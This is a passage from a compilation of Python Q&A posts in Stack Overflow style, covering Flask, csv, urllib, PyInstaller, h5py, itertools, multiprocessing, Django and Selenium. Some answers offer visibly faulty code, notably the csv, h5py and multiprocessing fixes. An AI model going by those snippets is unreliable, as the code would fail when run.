> Files\R\R-2.12.1 for me) 3) Add an environment variable R_USER (simply my
> username in Windows).
|
Handling views with duplicate function names
Question: Is there any way, in Flask, to handle the issue of duplicate function names
for views across files? Just to be clear, I'm talking about the name of the
function, not the route defined for the function. So imagine in `file1.py`
I've got:
@app.route('/some/unique/route')
def duplicateFunctionName():
...python code...
And then in `file2.py` I've got:
@app.route('/another/unique/route/name')
def duplicateFunctionName():
...python code...
And then in `main.py` I import these view functions:
import file1
import file2
<<code to run the flask server>>
The problem is that in large projects it's really hard to keep the function
names unique. At some point you're bound to have two functions called `def
saveData()` or whatever, and it's really hard to debug those issues. Is there
an elegant solution to this problem?
Answer: There are two ways to solve this problem.
1. Use the `endpoint` keyword argument to `.route`:
@app.route('/some/unique/route', endpoint="unique_name_1")
def duplicateFunctionName():
pass
@app.route('/another/unique/route', endpoint="unique_name_2")
def duplicateFunctionName():
pass
This will ensure that all of your functions are addressable by `url_for`, etc.
However, you will need to ensure that all of your _endpoint_ names are unique,
so it's not perfect.
2. Use `Blueprint`'s to split up your routes into smaller self-contained packages:
bp1 = Blueprint("module_one", __name__)
@bp1.route("/some/unique/route")
def duplicateFunctionName():
pass
bp2 = Blueprint("module_two", __name__)
@bp2.route("/another/unique/route")
def duplicateFunctionName():
pass
The advantage here is that the endpoint name is prefixed with the name of the
blueprint, which means that instead of having two endpoints with the
conflicting name `duplicateFunctionName` you now have two endpoints with the
names `module_one.duplicateFunctionName` and
`module_two.duplicateFunctionName`.
|
Python: Using delimiter to write into specific columns of csv file
Question: I have an input text file with each line in the format
Line[X]: [AAA] [BBB] [CCC] :1234
I would like to use "**:** " as delimiter and write to each column into a
excel file. I have tried the following code but not sure if this is the right
approach. Any inputs are highly appreciated.
import csv
Text_File = open("some_text_file.txt", "w+")
csv_results = open ("Results.csv", 'w')
for eachline in Text_File:
csv_results.writer(Text_File, delimiter ='**:**',quotechar='**:**', quoting=csv.QUOTE_MINIMAL)
Thanks!
Answer:
import csv
txt = open("some_text_file.txt", "w+")
csv_results = open ("Results.csv", 'w')
text_reader = reader(txt)
#this delimiter is for your output file to be read by excel
csv_results.writer(Text_File, delimiter =',')
for line in txt:
split_line = line.split(":")
csv_results.writerow(split_line)
txt.close()
csv_results.close()
This **should** do what you want it to. If you want to remove the spaces on
either side of the second column, you can probably use regex for that.
|
Neat way of making urllib work with python 2 and 3
Question: I'm looking for suggestions on how to combine the two code snippets so that
they work with both python 2 and 3. The goal is to make it "neat", ideally
keeping it to one line and limiting any if/else/try/except constructs.
For python 3.x
import xml.etree.ElementTree as ET, urllib.request, gzip, io
url = "https://github.com/OpenExoplanetCatalogue/oec_gzip/raw/master/systems.xml.gz"
oec = ET.parse(gzip.GzipFile(fileobj=io.BytesIO(urllib.request.urlopen(url).read())))
For python 2.x
import xml.etree.ElementTree as ET, urllib, gzip, io
url = "https://github.com/OpenExoplanetCatalogue/oec_gzip/raw/master/systems.xml.gz"
oec = ET.parse(gzip.GzipFile(fileobj=io.BytesIO(urllib.urlopen(url).read())))
Answer: This is exactly what [`six`](https://pythonhosted.org/six/) was created for.
It's a library designed to allow your code to work with both Python 2 and 3.
(Don't let "library" scare you, it's intentionally just a single .py file to
make it very easy to integrate/package.)
Instead of using the built-in `urllib` module, you'd use six's version which
automatically redirects to the built-in module in both Python 2 and 3.
Here's what your code would look like:
import xml.etree.ElementTree as ET, gzip, io
from six.moves.urllib.request import urlopen
url = "https://github.com/OpenExoplanetCatalogue/oec_gzip/raw/master/systems.xml.gz"
oec = ET.parse(gzip.GzipFile(fileobj=io.BytesIO(urlopen(url).read())))
See: <https://pythonhosted.org/six/#module-six.moves.urllib.request>
|
What's the best data structure for output that's processed by Python?
Question: My client currently has text files that are output as tab delimited data and
with HTML table chunks. Their system takes these HTML table chunks and sticks
them in an HTML template file. I was looking at outputting the data as json or
xml, and separating out the views functions. I've done this a bunch with
front-end processes. The difference for me here is that I'm processing the
data on the server-side and outputting simple HTML, instead of populating it
via Javascript. My tendency is towards json, since I already am outputting a
few other files in this system that way.
Answer: JSON is probably your best bet. Python has an excellent [JSON
library](https://docs.python.org/3/library/json.html) which can provide native
Python objects with just one function call. From the docs:
>>> import json
>>> json.loads('["foo", {"bar":["baz", null, 1.0, 2]}]')
['foo', {'bar': ['baz', None, 1.0, 2]}]
Just save the output of `json.loads` into a variable and you're off and
running.
|
Python all() and bool() empty cases?
Question: when using help(all), it returns:
all(iterable)=>bool
return True if bool(x) is True for all values x in the iterable.
if the iterable is empty, return True
help(bool) returns:
bool(x) -> bool
|
| Returns True when the argument x is true, False otherwise.
| The builtins True and False are the only two instances of the class bool.
| The class bool is a subclass of the class int, and cannot be subclassed.
when trying:
>>>bool()
False
>>>all([])
True
my question is, in case that all's input is the empty list/dict/tuple(i.e.
iterator), what's passed to bool?? and how come it returns True, as it's
dependent on bool?
Answer: `bool()` is never invoked if `all()`'s argument is empty. That's why the docs
point out the behavior of `all()` on an empty input as a special case.
The behavior `bool() == False` is irrelevant to what `all()` does in any case.
By the way, in Python `bool` is a subclass of `int`, so `bool() == False` is
necessary to be compatible with that `int() == 0`.
As to why, e.g., `all([])` is `True`, it's to preserve useful identities. Most
importantly, for any non-empty sequence `x` it's desirable that
all(x) == (bool(x[0]) and all(x[1:]))
and `all([]) == True` is the only result allowing that identity to hold for
all values of `x`.
|
PyInstaller Packages for kivy
Question: I have recently tried to build a package out of my
[kivy](http://kivy.org/#home) application using
[PyInstaller](http://www.pyinstaller.org/). My goal was to create a package I
can execute on my Linux (Ubuntu 14.04 64bit) and copy it to other Linux
systems as well.
I tried to execute the PyInstaller properly the whole night, tried various
things and in the end succeeded in creating a package for my own system. First
I'd like to know what exactly I did to functionally package my app.
My `main.spec` file looks like this:
# Part A
from kivy.tools.packaging.pyinstaller_hooks import install_hooks
install_hooks(globals())
# -*- mode: python -*-
# Part B
from PyInstaller.hooks.hookutils import exec_statement
hiddenimports = ['pysqlite2', 'MySQLdb', 'psycopg2']
databases = exec_statement("import sqlalchemy.databases;
print sqlalchemy.databases.__all__")
databases = eval(databases.strip())
for n in databases:
hiddenimports.append("sqlalchemy.databases." + n)
version = exec_statement('import sqlalchemy; print sqlalchemy.__version__')
is_alch06 = version >= '0.6'
if is_alch06:
dialects = exec_statement("import sqlalchemy.dialects; print sqlalchemy.dialects.__all__")
dialects = eval(dialects.strip())
for n in databases:
hiddenimports.append("sqlalchemy.dialects." + n)
block_cipher = None
# Part C
a = Analysis(['main.py'],
pathex=['/home/grafgustav/Python/ICCHP/accessmail/src','/'],
hiddenimports=[],
cipher=block_cipher)
pyz = PYZ(a.pure,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
exclude_binaries=True,
name='main',
debug=False,
strip=None,
upx=True,
console=True )
coll = COLLECT(exe, Tree("/home/grafgustav/Python/ICCHP/accessmail"),
a.binaries, #...,
a.zipfiles,
a.datas,
strip=None,
upx=True,
name='main',
)
While I understand why the Part B is mainly redundant (I just copied that part
from somewhere in the internet) and the Part A gets some finished hooks for
kivy, I do not quite understand why this does not pack the whole application
as I'd like it to.
As I understand it, hooks are used to include libraries that do not get
directly imported, but rather implicitly or during runtime. Just like hidden-
imports.
The main problem are the missing parts in my resulting package. There is a
folder "GUI" inside my whole src-directory which contains the kivy-specific
*.kv files. The src folder containing this GUI folder is included in the
resulting package, the *.kv files are still missing when I try to start the
program. So I tried to copy the GUI folder to the same folder my packaged
"main" is located at and the *.kv files are not missing anymore. Why does the
PyInstaller copy the whole src folder but fails to detect the GUI folder
properly? The next error I get is related to sqlalchemy. Since I've already
added some sqlalchemy hooks I figured the packaged application is not able to
find the data.db I use to store my data. This one is located one folder above
the main.py I am packaging. It is included in the result, but not in the right
position. If I take the data.db and copy it one folder above my resulted main,
this error is resolved as well. My final error, which stopped the package from
working was caused again by some kivy-specific stuff. The error message said,
that a file [Package directory]/kivy/data/style.kv was missing. Actually there
was not even a folder "kivy". I searched this file in the kivy sources, copied
it to the right directory and now it works on my system. Now I am wondering,
why I have to copy all these files to my resulting directory manually. How can
I tell PyInstaller to include these files beforehand? It works on my system
(where I packed it), but neither on my second system (Ubuntu 12.04LTS 64-bit,
some error about the wrong OpenGL version), on a testsystem (a fedora, no
error at all, only `main could not be executed`) or on the computers in my
university (Debian 3.2.57 64-bit, `./main: /lib/x86_64-linux-gnu/libc.so.6:
version GLIBC_2.14 not found (required by /libz.so.1).
My friend used PyInstaller on his Windows system, had quite some issues as
well (he had to add the above mentioned files/folders manually to the package
as well) but in the end it worked on Win7 and Win8 equally fine.
How can I use PyInstaller to make executable files for other Linux-systems as
well on my own system? And what exactly did I even do to that `main.spec`
file? Or is there maybe a better way to create an executable for python
applications?
Answer: I'm not an expert, but I'll share what I know
**Adding folders to the resulting package:**
> Now I am wondering, why I have to copy all these files to my resulting
> directory manually. How can I tell PyInstaller to include these files
> beforehand?
When defining your binaries on the COLLECT part, you make a call to Tree(), it
should be made with a `prefix` parameter, so pyInstaller know where to put the
folder accessmail in relation to the 'src' folder:
Tree("/home/grafgustav/Python/ICCHP/accessmail", prefix='..')
But i never tryed it with `'..'` as prefix, must test it.
**Adding files to the resulting package:**
> the packaged application is not able to find the data.db I use to store my
> data. This one is located one folder above the main.py I am packaging. It is
> included in the result, but not in the right position.
To add an arbitrary file to the binaries, you just need to create a tuple with
3 values like this:
a.binaries += [(file_address, file_result_address, 'DATA')]
The `file_result_address` is where the file will stay on the resulting
package.
To add more files, just add more tuples between the "[ ]":
[(addr,addr,type), (addr,addr,type), ...]
**Making it work on several systems:**
The first tip I can give is to try to compile on a 32bits system, so it'll
work on 32 and 64 bits systems.
As suggested on section 3 of [this post](http://bitstream.io/packaging-and-
distributing-a-kivy-application-on-linux.html) you might try to remove system
libraries from your package and add them as dependencies, so it will use
native libraries for those. The link above provides a python function to do
this job inside the `.spec`.
**Making a single binary instead of a folder with all the dependencies:**
> How can I use PyInstaller to make executable files for other Linux-systems
> as well on my own system?
If you want a single binary file as output instead of a folder with all the
dependencies on it, you need to create a `.spec` file with the --onefile
option. You can copy the relevant parts to your code after that:
pyinstaller --onefile myscript.py
You can get more info on the official [pyinstaller
documentation](http://pythonhosted.org/PyInstaller/#bundling-to-one-folder),
it helped me a lot.
I hope it helps.
|
Why does simply importing a python module executes everything present in that module ?
Question: Recently I noticed that using modules was a good option to keep my python
programming tidy. For getting started, I made one module (named, oop.py) with
a single class in it, which looks like below:
#Module named oop
class Team:
def __init__(self):
print "class Team initialized"
def displayTeam(self):
print "Team name: ", self.name, ",Rank :" , self.rank
def setTeam(self,name,rank):
self.name = name
self.rank = rank
t1 = Team()
t1.setTeam("Man-Utd", 1)
t1.displayTeam()
According to python documentation, if we want to use specific attribute from a
module then we use `<from module_name> import <attribute>` . I wanted to only
load the "class Team"
In another python code (named, oop1.py) I simply imported the above module.
oop.py is as mentioned below :
#This is oop1.py.
#Importing module oop
from oop import Team
The output of `python oop1.py` from terminal was :
class Team initialized
Team name: Man-Utd ,Rank : 1
By declaring `from oop import Team` , I was expecting to load only class
definition. Why are those extra lines `t1 = Team() t1.setTeam("Man-Utd", 1)
t1.displayTeam() ` from oop.py are getting executed ?
Is initialization not allowed in modules ? What should I do if I only want
class Team structure and not other stuff of module ? Corerct me if I am wrong
somewhere.
Answer: In python _modules are objects_. In order to create a module object the code
that it contains is _executed_ and the bindings that are found are added to
the object as attributes.
Specifying what you want to import doesn't change the fact that the whole
module is executed and _afterwards_ only that single binding is put in the
scope by the `import`.
It's standard practice to put any code that you do _not_ want to execute when
importing after a guard:
if __name__ == '__main__':
# your code here
`__name__` is a special global that is `__main__` only when executing the
module. During an import it is set to the name of the module (and thus that
code wont be executed).
* * *
To learn more about modules read the
[documentation](https://docs.python.org/2/tutorial/modules.html#modules).
There is also a section that explains the above mentioned guard: [Executing
modules as scripts](https://docs.python.org/2/tutorial/modules.html#executing-
modules-as-scripts)
|
QWebView get response
Question: I have a python code with PySide that has a QWebView that shows google maps. I
just want to get the response each time that I do any request using the
QWebView widget.
I have searched info but there is no reference about getting a response with
PySide. If you need me to paste some code I will but I just have a simple
QWebView widget.
EDIT: You asked me for the code:
from PySide.QtCore import *
from PySide.QtGui import *
import sys
import pyside3
class MainDialog(QMainWindow, pyside3.Ui_MainWindow):
def __init__(self, parent=None):
super(MainDialog,self).__init__(parent)
self.setupUi(self)
token_fb=""
#self.Connect_buttom.clicked.connect(self.get_fb_token)
self.Connect_buttom.clicked.connect(lambda: self.get_fb_token(self.FB_username.text(), self.FB_password.text()))
#self.connect(self.Connect_buttom, SIGNAL("clicked()"), self.get_fb_token)
#Change between locate and hunt
self.MapsButton.clicked.connect(lambda: self.select_page_index(0))
self.HuntButton.clicked.connect(lambda: self.select_page_index(1))
###########################
self.webView.setHtml(URL)
def select_page_index(self, index): # To change between frames
self.Container.setCurrentIndex(index)
I need the response from: `self.webView.setHtml(URL)` because depending on the
response my app has to do one thing or other.
Answer: Function `QWebView.setHtml()` has no response in the sense that it doesn't
return anything.
Maybe you want to listen to all links that are clicked and do something custom
with it.
web_view = QtWebKit.QWebView()
web_view.page().setLinkDelegationPolicy(QtWebKit.QWebPage.DelegateAllLinks)
web_view.linkClicked.connect(your_handler)
Or maybe you want to do something when loading has finished. This is done by:
web_view = QtWebKit.QWebView()
web_view.loadFinished.connect(your_handler)
|
Advice on querying cloudant database based on geo in python
Question: Cloudant Geo Inconsistencies
I am new to IBM Cloudant CouchDB and would like to be able to query records
that I have uploaded and tagged with GPS coords.
I would like to be able to query all records that re within 100km of a
provided location.
The cloudant website information is inconsistent around geo.
e.g
Page still says geo query is in beta (but support says it is not): tinyurl DOT
com SLASH mkcyur2
Missing Tables in the sample (probably because my location (auto picked)and
there is no data near me)? tinyurl DOT com SLASH lvxlb4q
API ref does not mention geo (released before geo was launched):
<https://cloudant.com/wp-content/uploads/Cloudant-API-Reference.pdf>
Geo querying may only be for for dedicated customers?
<https://cloudant.com/blog/announcing-cloudant-geospatial/#.U6wiqRYRpNN>
This is how I am inserting geo tagged records with gps and time with python.
import requests
import json
auth = ('username', 'password')
headers = {'Content-type': 'application/json'}
doc = r.json()
doc['event_title'] = "Blah"
doc['event_datetime_utc_epoch'] = 1403768195000
doc['event_lat'] = -31.089675
doc['event_lon'] = 150.932309
post_url = "https://account.cloudant.com/database".format(auth[0])
r = requests.post( post_url, auth=auth, headers=headers, data=json.dumps(doc) )
print json.dumps(r.json(), indent=1)
This is how i query 10 records in Python.
import requests
import json
auth = ('username', 'password')
get_url = "https://account.cloudant.com/database/_all_docs?limit=10".format(auth[0])
r = requests.get(get_url, auth=auth)
print json.dumps(r.json(), indent=1)
I would like to be able to query all records near me (100km radius) and after
a certain time (within 30 mins of record saved date)?
Answer: Cloudant has a GIS query layer ([Cloudant
Geo](https://cloudant.com/product/cloudant-features/geospatial/)) which is
currently only available for dedicated customers. If you contact the support
team they may be able to arrange a trial period.
[Cloudant Search](https://cloudant.com/for-developers/search/) also offers
some limited geospatial querying via Lucene - you can sort search results by
distance to a point and perform bounding box queries. This sounds like the
most appropriate option for you at the moment (though it won't be a true
radial search).
I'd suggest a search function along the lines of
function(doc) {
index('event_lat', doc.event_lat);
index('event_lon', doc.event_lon);
index('event_datetime', doc.event_datetime_utc_epoch);
}
and then a query along the lines of:
https://account.cloudant.com/database/_design/myddoc/_search/mysearch?q=event_lat:[10 to 30] AND event_lon:[140 TO 160] AND event_datetime:[1403768195000 TO Infinity]&sort="<distance,event_lon,event_lat,15,150,mi>"
|
Is there an easy way to find which part of the code not closing the file
Question: I have a large program with large amount of code. And it s is opening the file
but not closing it.
### Question:
Is there an easy way to find out where this happening?
### More Details:
OS - Linux
Python - 2.7
Why this is important? Imagine the situation:
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 157G 39G 110G 27% /
110 G Available. Let's create large file
fallocate -l 10G large_file.csv
Now 100 G available
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 157G 49G 100G 34% /
lets'write the program that opens the file and run it:
import time
f = open('large_file.csv')
try:
while True:
time.sleep(1)
except:
pass
While this is running, let's delete the file:
rm large_file.csv
Checking space:
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 157G 49G 100G 34% /
You see it's still `100G` available.
So the question is how to easily find this type of issues in the large
program?
Answer: I remember reading somewhere that cpython is guaranteed to close all file
handles when garbage collecting, so unless you are segfaulting I guess your
python program is not the culprit (or there is a C module misbehaving and this
answer is worthless). MySQL is a known offender here (for deleting open file
handlers), so if there is a MySQL database involved I would bet on it.
That said, you can monkey-patch `__builtin__.open` as suggested by martineau
to raise an exception, catch the exception and use the inspect module to
search the traceback and check if the open call is inside a with statement or
try/finally block. The following example is very crude but I hope it can get
you started:
#test.py
import foo
_old_open = open # original function
# monkey-patch
def _new_open(*args, **kwargs):
try:
raise(Exception('dummy'))
except Exception as e:
import sys
check_call(*sys.exc_info())
return _old_open(*args, **kwargs)
__builtins__.open = _new_open
def check_call(e_type, e_value, tb):
import inspect, sys
# restore patch to avoid infinite recursion
__builtins__.open = _old_open
try:
stack = inspect.getouterframes(tb.tb_frame)
frame_info = inspect.getframeinfo(stack[1][0])
if frame_info.code_context[0].strip()\
.startswith('with '):
return
sys.stderr.write(
"DEBUG: open call outside with block at "
"{f.filename}, line {f.lineno}\n"
.format(f=frame_info)
)
finally:
__builtins__.open = _new_open
if __name__ == '__main__':
foo.baz('a.txt')
foo.bar('a.txt')
# foo.py
def bar(fname):
f = open(fname, 'w')
def baz(fname):
with open(fname, 'w') as f:
f.write('dummy!')
# result:
# DEBUG: open call outside with block at
# /path/to/foo.py, line 13
|
export DJANGO_SETTINGS_MODULE on windows 7
Question: I'm trying to run a pyunit unittest that depends on django project imports.
I had to export the DJANGO_SETTINGS_MOCUDLE since it wasn't set so i ran:
set DJANGO_SETTINGS_MODULE=C:/bobbapython/boon/cms.settings
Which is the path to the projectroot where the .settings folder is. I've also
tried:
set DJANGO_SETTINGS_MODULE=C:/bobbapython/boon/cms/.settings
I also tried with \ instead of / with no success.
I get this error message when trying to run the script via cmd
Traceback (most recent call last):
File "manager/tests/test_user_api/generate_testdata.py", line 12, in <module>
from django import db
File "C:\Python27\lib\site-packages\django\db\__init__.py", line 11, in <module>
if DEFAULT_DB_ALIAS not in settings.DATABASES:
File "C:\Python27\lib\site-packages\django\utils\functional.py", line 184, in inner
self._setup()
File "C:\Python27\lib\site-packages\django\conf\__init__.py", line 42, in _setup
self._wrapped = Settings(settings_module)
File "C:\Python27\lib\site-packages\django\conf\__init__.py", line 95, in __init__
raise ImportError("Could not import settings '%s' (Is it on sys.path?): %s" % (self.SETTINGS_MODULE, e))
ImportError: Could not import settings 'C:/bobbapython/boon/cms.settings' (Is it on sys.path?): Import by filename is not supported.
Any suggestions on what i might be doing wrong and how to fix it?
Answer: DJANGO_SETTINGS_MODULE is not a file path. It is a Python module reference.
'C:/bobbapython/boon' should be in your PYTHONPATH, and DJANGO_SETTINGS_MODULE
should then just be 'cms.settings'.
|
Fit points to a Lorentzian curve and find center and half maximum bandwidth in Python
Question: I am using a python program to pull discreet values from a network analyzer.
It pulls 401 y-axis values and calculates the corresponding x-axis values, and
I wish to fit them to a lorentzian curve and find the x-axis value of the
y-axis maximum and the half y-axis maximum width.
The lorentzian function I wish to fit these points to is
(1/pi)(a/((x-x0)^2+(a)^2))
and I must find `a` and `x0` given the `x` and `y` values returned from the
network analyzer. Is there a simple way to do this using `scipy` or `numpy`? I
usually try and post any attempt I have made, but I'm not sure where to even
start. Thank you!
Answer: As Zhenya I would suggest using
[curve_fit](http://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.curve_fit.html).
If `xdata` and `ydata` are your values you can do
import numpy as np
import scipy as sp
from scipy.optimize import curve_fit
def lorentzian(x, a, x0):
return a / ((x-x0)**2 + a**2) / np.pi
# Obtain xdata and ydata
...
# Initial guess of the parameters (you must find them some way!)
pguess = [a_guess, x0_guess]
# Fit the data
popt, pcov = curve_fit(lorentzian, xdata, ydata, p0 = pguess)
# Results
a, x0 = popt[0], popt[1]
A suggestion to make the initial guess could be:
a_guess = 1 / (np.pi * max(ydata))
x0_guess = sum(xdata * ydata) / sum(ydata)
I have not tested the code, but in principle it should work.
|
Fastest way to write a file with h5py
Question: First of all, I read the topic "[Fastest way to write hdf5 file with
Python?](http://stackoverflow.com/questions/5466971/fastest-way-to-write-
hdf5-file-with-python)", but it was not very helpful.
I am trying to load a file which has about 1GB (a matrix of size (70133351,1))
in a h5f5 structure.
Pretty simple code, but slow.
import h5py
f = h5py.File("8.hdf5", "w")
dset = f.create_dataset("8", (70133351,1))
myfile=open("8.txt")
for line in myfile:
line=line.split("\t")
dset[line[1]]=line[0]
myfile.close()
f.close()
I have a smaller version of the matrix with 50MB, and I tried the same code,
and it was not finished after 24 hours.
I know the way to make it faster is to avoid the "for loop". If I were using
regular python, I would use hash comprehension. However, looks like it does
not fit here.
I can query the file later by:
f = h5py.File("8.hdf5")
h=f['8']
print 'GFXVG' in h.attrs
Which would answer me "True" conseidering that GFXVG is on of the keys in h
Does someone have any idea?
Example of part of the file:
508 LREGASKW
592 SVFKINKS
1151 LGHWTVSP
131 EAGQIISE
198 ELDDSARE
344 SQAVAVAN
336 ELDDSARF
592 SVFKINKL
638 SVFKINKI
107 PRTGAGQH
107 PRTGAAAA
Thanks
Answer: Since its only a gb, why not load it completely in memory first? Note, it
looks like you're also indexing into the dset with a `str`, which is likely
the issue.
I just realized I misread the initial question, sorry about that. It looks
like your code is attempting to use the index 1, which appears to be a string,
as an index? Perhaps there is a typo?
import h5py
from numpy import zeros
data = zeros((70133351,1), dtype='|S8') # assuming your strings are all 8 characters, use object if vlen
with open('8.txt') as myfile:
for line in myfile:
idx, item = line.strip().split("\t")
data[int(line[0])] = line[1]
with h5py.File('8.hdf5', 'w') as f:
dset = f.create_dataset("8", (70133351, 1), data=data)
|
How to generate a permutation list of lists in python
Question: I have the following data in a list of lists. This is a fuel bundle (with half
symmetry) for a nuclear reactor and each number represents a fuel pin (with
different enrichments). The higher the number the more fuel. I'm trying to
generate a large number of input files to run (I already have function that
will enter my array into my input file and run it). **_This is just a sample
of what one array would look like_**
20
30 60
50 80 80
60 80 80 80
60 81 80 80 80
60 80 80 00 00 80
60 80 80 00 00 80 80
50 80 80 80 80 80 80 80
40 70 80 81 80 80 80 80 80
20 40 60 70 80 80 70 71 50 30
So I will be using rules to make lists. Like pins on the edges have to be low
enrichment, pins that aren't divisible by 10 can't be on the edge or face
adjacent to each other, or face adjacent to a 00. Since each spot has 90
options, I need to limit the total possibilities. This is why I wanted to
generate a list of options for each location in the array, and then produce
every possible array. I understand how to implement all of my rules, I'm just
confused about building all the possible array combinations.
How would I go about generating every possible combination for my array? Or if
there is a better way to accomplish what I am trying to do. My Python
experience is only about two weeks worth.
Answer: If I understand you, it's relatively straightforward using tools in the
[`itertools`](https://docs.python.org/3.4/library/itertools.html) module.
Something like
from itertools import product, chain
def choose_from_2d_lol(lol):
flattened_options = list(chain.from_iterable(lol))
for p in product(*flattened_options):
p_iter = iter(p)
new_list = [[next(p_iter) for elem in row] for row in lol]
yield new_list
will iterate over all possibilities:
>>> xx = [[[10,20,30]],[[44], [55,66]]]
>>> for chosen in choose_from_2d_lol(xx):
... print(chosen)
...
[[10], [44, 55]]
[[10], [44, 66]]
[[20], [44, 55]]
[[20], [44, 66]]
[[30], [44, 55]]
[[30], [44, 66]]
Note, though, that going through every possibility this way could very well be
completely infeasible as the number of possibilities will grow very rapidly.
|
Concatenation of All Possible Combinations of Files with Python
Question: I'll preface this by admitting I'm very new to Python. I have a directory of
files that I would like to see all the possible combinations. I've located a
script that can concatenate one set list of files but I would like to see all
the possible combinations of these files have them concatenated and save them
as a jpg. To make things more complicated I have two specific files that I
always want at the beginning of all combinations and one specific file that I
always want at the end.
Slapping some code I found from a similar question together I've come up with
the below which obviously isn't going to to cut it.
files = ['File1.txt', 'Filet2.txt']
with open('CombinedFile.jpg', 'w') as result:
for file_ in files:
for line in open(file_, 'r'):
result.write(line)
EDIT: I realized I may not have articulated the question well enough I would
like to combine the contents of the file per below:
Combine:
> File1.txt Contents
>
> File2.txt Contents
>
> File3.txt Contents
Output Result:
> CombinationFile.jpg
And then again with the files in different order until all possible
combinations have been run.
Answer: If you mean `permutation` saying `combination`:
import itertools
files = ['File1.txt', 'File2.txt', 'File3.txt']
it = itertools.permutations(files, len(files))
for x in it:
print x
result
('File1.txt', 'File2.txt', 'File3.txt')
('File1.txt', 'Filt3.txt', 'File2.txt')
('File2.txt', 'File1.txt', 'File3.txt')
('File2.txt', 'File3.txt', 'File1.txt')
('File3.txt', 'File1.txt', 'File2.txt')
('File3.txt', 'File2.txt', 'File1.txt')
|
python elementtree - getting average
Question: Using element tree in python, I want to get an average value.
Below is my data
Order A has a quantity of 12,10,and 5.. total is 27
Order B has a quantity of 9 and 40... total is 49
Order C has a quantity of 10,35, and 15.. total is 60
When you total them then divide by 3, I should be getting 45.33. But on my
code below, I'm getting 20. :( I'm extracting the above data from an XML file.
Can you please help me identify the problem on my code. Thank you.
import xml.etree.ElementTree as ET
root = ET.ElementTree(file="nwind_medium.xml")
orders = root.findall("./orders")
for order in orders:
orderdetails = order.findall("./orderdetails")
total = 0
for detail in orderdetails:
quantity = detail.findall("./quantity")
total += float(quantity[0].text)
numberOrders = len(orders)
print "The average number of itmes in order is", round((total / numberOrders),2)
Here's the whole XML file (updated) \- - - Vins et alcools Chevalier VINET - -
72 Mozzarella di Giovanni 34.8 5 - 14 Formaggi Fortini s.r.l. - - 11 Queso
Cabrales 14 12 - 5 Cooperativa de Quesos 'Las Cabras' - - 42 Singaporean
Hokkien Fried Mee 9.8 10 - 20 Leka Trading - - Toms Spezialitaten TOMSP - - 14
Tofus 18.6 9 - 6 Mayumi's - - 51 Manjimup Dried Apples 42.4 40 - 24 G'day,
Mate - - Hanari Carnes HANAR - - 65 Louisiana Fiery Hot Pepper Sauce 16.8 15 -
2 New Orleans Cajun Delights - - 41 Jack's New England Clam Chowder 7.7 10 -
19 New England Seafood Cannery - - 51 Manjimup Dried Apples 42.4 35 - 24
G'day, Mate
Answer: You are resetting total on each iteration through an order. If you need total
of all orders move
total = 0
before the outer loop.
|
Multiprocessing Error when Downloading files from FTP
Question: I have been stuck on this particular beauty of a code for a while and I can
figure out why it isn't working. When I run the code below I get a pickling
error and it is always on a different file.
This will download a random number of files and then magically stop. For some
reason the ith file name (or wherever it chooses to stop) is suddenly not
pickleable whereas the other ones before it were. I could see _all_ of them
not being pickleable or none of them but having an arbitrary number not be
pickleable is just weird.
n=10
urls = ["ftp://ftp.sec.gov/{0:s}".format(f) for f in flist[:n]]
print urls
from multiprocessing import Pool
from urllib import urlretrieve
def download(url):
try:
file_name = str(url.split('/')[-1])
print file_name
return urlretrieve(url, file_name), None
except Exception as e:
return None, e
if __name__ == "__main__":
p = Pool(10)
p.map(download, urls)
The error I am getting is:
Traceback (most recent call last):
File "<stdin>", line 3, in <module>
File "/usr/local/lib64/anaconda/lib/python2.7/multiprocessing/pool.py", line 250, in map
return self.map_async(func, iterable, chunksize).get()
File "/usr/local/lib64/anaconda/lib/python2.7/multiprocessing/pool.py", line 554, in get
raise self._value
multiprocessing.pool.MaybeEncodingError: Error sending result: '[(('0000950144-94-000788.txt', <mimetools.Message instance at 0x6333878>), None)]'. Reason: 'PicklingError("Can't pickle <type 'cStringIO.StringI'>: attribute lookup cStringIO.StringI failed",)'
Does anyone know why the ith element is suddenly not pickleable? Whereas the
other ones were before? I can see it is because it thinks the ith name is a
stringIO but that makes no sense because the ones before it should have been
as well then.
Answer: You're returning a
[mimetools.Message](https://docs.python.org/2/library/mimetools.html#mimetools.Message)
object representing the FTP headers. Either zap it, or turn into an ordinary
string before returning it.
Here's an example of the latter:
n=10
urls = ["ftp://ftp.sec.gov/{0:s}".format(f) for f in flist[:n]]
print urls
from multiprocessing import Pool
from urllib import urlretrieve
def download(url):
try:
file_name = str(url.split('/')[-1])
print file_name
filename,headers = urlretrieve(url, file_name)
return (filename, repr(headers), None
except Exception as e:
return None, e
if __name__ == "__main__":
p = Pool(10)
p.map(download, urls)
|
You are using an unsupported command-line flag: --ignore-certificate-errors. Stability and security will suffer
Question: I am getting this error in multiple Selenium Python projects when chromedriver
loads. They all start with these imports in case a specific library of
selenium...
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
Recently I upgraded to Python selenium package 2.42.1, not sure if it is
specific to those updates or a chromedriver thing? Has anyone else seen this,
are there any documentation, and what if any are the potential problems.
I have found this on Windows 7 and Windows 8 OS's.
Answer: There have been many tickets raised in ChromeDriver issue tracker.
Here's the main one:
[Chrome starts with message "You are using an unsupported command-line flag:
--ignore-certifcate-errors. Stability and security will
suffer."](https://code.google.com/p/chromedriver/issues/detail?id=799)
Please keep an eye on it for the latest progress.
|
ImportError at / No module named response with django appengine
Question: I am trying to run django project with appengine . It is running properly on
localhost. But when I tried to upload it to appspot.com it is giving me the
following error
ImportError at /
No module named response
Here is [traceback](http://pastebin.com/D93G9MH7).
views.py
from django.http.response import HttpResponse
def home(request):
return HttpResponse("Hello World")
app.yaml
application: demoapptotest
version: 1
runtime: python27
api_version: 1
threadsafe: true
handlers:
- url: /.*
script: main.application
libraries:
- name: django
version: latest
- name: PIL
version: latest
env_variables:
DJANGO_SETTINGS_MODULE: 'app1.settings'
Answer: You should do `from django.http import HttpResponse`.
|
Simpler way of sorting list of lists indexed by one list in Python
Question: I want to sort a list of two lists, where the elements in the two lists are
pairs.
I want to sort the lists by the second element in these pairs.
For example if I have
a_list = [[51132, 55274, 58132], [190, 140, 180]]
and want
